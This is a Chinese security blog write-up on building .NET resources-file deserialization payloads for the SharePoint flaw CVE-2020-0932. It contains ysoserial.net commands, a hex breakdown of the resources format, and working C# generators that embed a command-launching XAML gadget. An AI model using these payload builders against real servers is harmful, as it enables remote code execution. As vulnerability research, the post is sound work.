0x00 事因
在研究CVE-2020-0932[1]过程中,Payload使用的是ysoserial.net[2]中的TypeConfuseDelegate
gadget 然后编译成resources。在进一步尝试中发现TextFormattingRunProperties
等 gadget 会因为执行完Payload报错程序终止等错误,并不能直接生成resources或者RESX编译成resources。
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc" -o base64
Google 无果后请教@zcgonvh师傅后感觉最直接的解决办法是:
1.根据Resources格式自己构造2.根据ResourceSetGenerator[3]修改
0x01 ResourceSetGenerator
整个源码看来比较像是作者构造的Resource格式然后bfSerializedObj = AdvancedBinaryFormatterParser.JsonToStream(payload).ToArray();
* // This is how ResourceSet can be used directly but the payload would fire!
object generatedPayload = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);
using (ResourceWriter rw = new ResourceWriter(@".ResourceSetGenerator.resources"))
{
rw.AddResource("", generatedPayload);
rw.Generate();
rw.Close();
}
// Payload will be executed once here which is annoying but without surgical insertion or something to parse binaryformatter objects, it is quite hard to prevent this
ResourceSet myResourceSet = new ResourceSet(@".ResourceSetGenerator.resources");
// TextFormattingRunPropertiesGenerator is the preferred method due to its short length. However, we need to insert it manually into a serialized object as ResourceSet cannot tolerate it
//*/
通过注释内容确实是成功生成ResourceSetGenerator.resources 但是通过ResourceSet
无法触发成功。在这里徘徊了很久放弃了直接生成这条路。
0x02 修改二进制文件
这里我也去TW问了ResourceSetGenerator[4]的作者@irsdl,他给我的答复也是这个是可行的。
我尝试查阅resources格式之类的文档,但是没有收获,然后只能自己看看.net的源码,生成resources的相关文件是ResourceWriter[5]通过源码可以分析出来(猜),Generate()
函数包含整个resources构造的过程。
由于.net 框架源码有很人性的注释,大概可以看懂每一步在干什么。
// Write out the ResourceManager header
// Write out magic number
bw.Write(ResourceManager.MagicNumber); //写入resources标识头 (0xBEEFCACE)
// Write out ResourceManager header version number
bw.Write(ResourceManager.HeaderVersionNumber); //写入Header版本 (01)
...
由于基本功弱还是动态调试.net源码分析了一下过程,整个结构大概如下:
CECAEFBE 标识头//0xBEEFCACE
01 ResourceManager头版本
00000091 ResMgr header总字节数
0000006C ResMgr header 长度
53797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F75726365732E52756E74696D655265736F75726365536574 //ResMgr
02 版本//File format version number
00000001 //resources数量
00000001 //type数量
00000050 //typeNames 长度
446F6E6F72436F6C756D6E732C20436F6E736F6C65417070332C2056657273696F6E3D312E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6E756C6C //typeNames
504144504144 //pad填充
8500950D //hash
00000000 //pos
1B010000 //start Of DataSection
0A5400690074006C00650000000000 //name Section
400001000000FFFFFFFF01000000000000000C0200000042436F6E736F6C65417070332C2056657273696F6E3D312E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6E756C6C05010000000C446F6E6F72436F6C756D6E7305000000024944044E616D6505546F74616C044C61737403416D74010101010102000000060300000009456D706C79656520230604000000044E616D6506050000000C546F74616C20416D6F756E740606000000124C61737420446F6E6174696F6E20446174650607000000144C61737420446F6E6174696F6E20416D6F756E740B //data section
差多知道结构了,我们只需要用TypeConfuseDelegate
gadget 然后编译成resources 然后替换data section
就可以了。
注:这里从
data section
的40开始替换
0x03 验证
下载ysoserial.net[6] 编译
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc" -o raw >111.bin
转hex填充到后面,然后hex转bin
CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F75726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E420069006E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000000040
或者使用懒人版本
CODE -TextFormattingRunProperties
using System;
using System.IO;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
byte[] Resources_bin;
string cmd = "calc";
string payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c """ + cmd + @""" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
string Resources_header = "CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722" +
"C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C" +
"205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F7" +
"5726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E" +
"436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696" +
"E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E6575747261" +
"6C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2" +
"C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579" +
"546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E4200690" +
"06E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000" +
"000040";
Object obj = new TextFormattingRunPropertiesMarshal(payload);
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
ms.Position = 0;
string TextFormattingRunPropertiesString = string.Concat(ms.GetBuffer().Select(b => b.ToString("X2")).ToArray());
ms.Close();
Resources_bin = HexToByte(Resources_header + TextFormattingRunPropertiesString);
File.WriteAllBytes("111.resources", Resources_bin);
}
public static byte[] HexToByte(string hex)
{
return Enumerable.Range(0, hex.Length)
.Where(x => x % 2 == 0)
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
.ToArray();
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
info.SetType(t);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
}
}
这个payload就可以用于验证回显之类的了
通用替换
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test
{
class Program
{
static void Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("Please provide necessary information:");
Console.WriteLine("ResourcesPayload.exe <file>");
Console.WriteLine("Example: ResourcesPayload.exe c;\1.bin");
return;
}
string file = args[0];
byte[] ResourcesDataSection;
string Resources_header = "CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722" +
"C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C" +
"205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F7" +
"5726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E" +
"436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696" +
"E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E6575747261" +
"6C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2" +
"C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579" +
"546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E4200690" +
"06E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000" +
"000040";
FileStream fs = new FileStream(file, FileMode.Open);
byte[] TextFormattingRunPropertiesString = new byte[fs.Length];
fs.Read(TextFormattingRunPropertiesString, 0, TextFormattingRunPropertiesString.Length);
ResourcesDataSection = HexToByte(Resources_header);
byte[] Resources_new = new byte[TextFormattingRunPropertiesString.Length + ResourcesDataSection.Length];
ResourcesDataSection.CopyTo(Resources_new, 0);
TextFormattingRunPropertiesString.CopyTo(Resources_new, ResourcesDataSection.Length);
System.IO.File.WriteAllBytes("payload.resources", Resources_new);
fs.Close();
}
public static byte[] HexToByte(string hex)
{
return Enumerable.Range(0, hex.Length)
.Where(x => x % 2 == 0)
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
.ToArray();
}
}
}
0x04 CVE-2020-0932
然后配合 ActivitySurrogateSelectorGenerator
就可以解决CVE-2020-0932的回显问题。
0x05 结尾
用了几天时间解决这个问题,感觉自己的基础水平还是太弱了=。=
相关源码已上传GitHub:https://github.com/aleenzz/ResourcesPayload
参考:
[1] http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html (CVE-2020-0688的武器化与.net反序列化漏洞那些事)
[2] https://referencesource.microsoft.com/#mscorlib/system/resources/resourcewriter.cs
[3] https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters(CVE-2020-0932[7] SHAREPOINT远程代码执行漏洞 )
[4] https://www.anquanke.com/post/id/154049 (对ASP.NET资源文件(.RESX)及反序列化漏洞的研究)
由于太忙很久没发文章 =。= ,最后圈子牛逼!!!
References
[1]
CVE-2020-0932: https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters[2]
ysoserial.net: https://github.com/pwntester/ysoserial.net[3]
ResourceSetGenerator: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ResourceSetGenerator.cs[4]
ResourceSetGenerator: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ResourceSetGenerator.cs[5]
ResourceWriter: https://referencesource.microsoft.com/#mscorlib/system/resources/resourcewriter.cs[6]
ysoserial.net: https://github.com/pwntester/ysoserial.net/releases/download/v1.33/ysoserial-1.33.zip[7]
https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters(CVE-2020-0932: https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters%EF%BC%88CVE-2020-0932
写在结尾
文章来自圈子社区成员404的精品文章,特此感谢404的分享输出。如有意投稿请于公众号留言。
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
扫二维码|关注我们
引领实战潮流,回归技术本质
汇聚行业新锐力量 推动网络安全进步
这是一个实战派白帽子的聚集地
本文始发于微信公众号(Secquan圈子社区):Resources反序列化相关问题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论